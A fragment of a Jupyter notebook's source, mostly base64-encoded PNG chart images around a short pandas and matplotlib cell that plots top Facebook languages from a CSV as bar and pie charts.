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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB8.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "c = ['orange', 'b', 'r', 'g', 'c'][::-1]\n", + "\n", + "plt.figure(figsize=(15,9))\n", + "plt.title(\"Top languages on Facebook\")\n", + "plt.ylabel(\"Language\")\n", + "plt.xlabel(\"Speakers, millions\")\n", + "plt.barh(x,y, color=c)\n", + "plt.grid(axis='x',color='r')\n", + "plt.show()\n", + "\n", + "plt.figure(figsize=(11,7))\n", + "plt.xlabel(\"(%)of_users\")\n", + "plt.pie(z, labels=x)\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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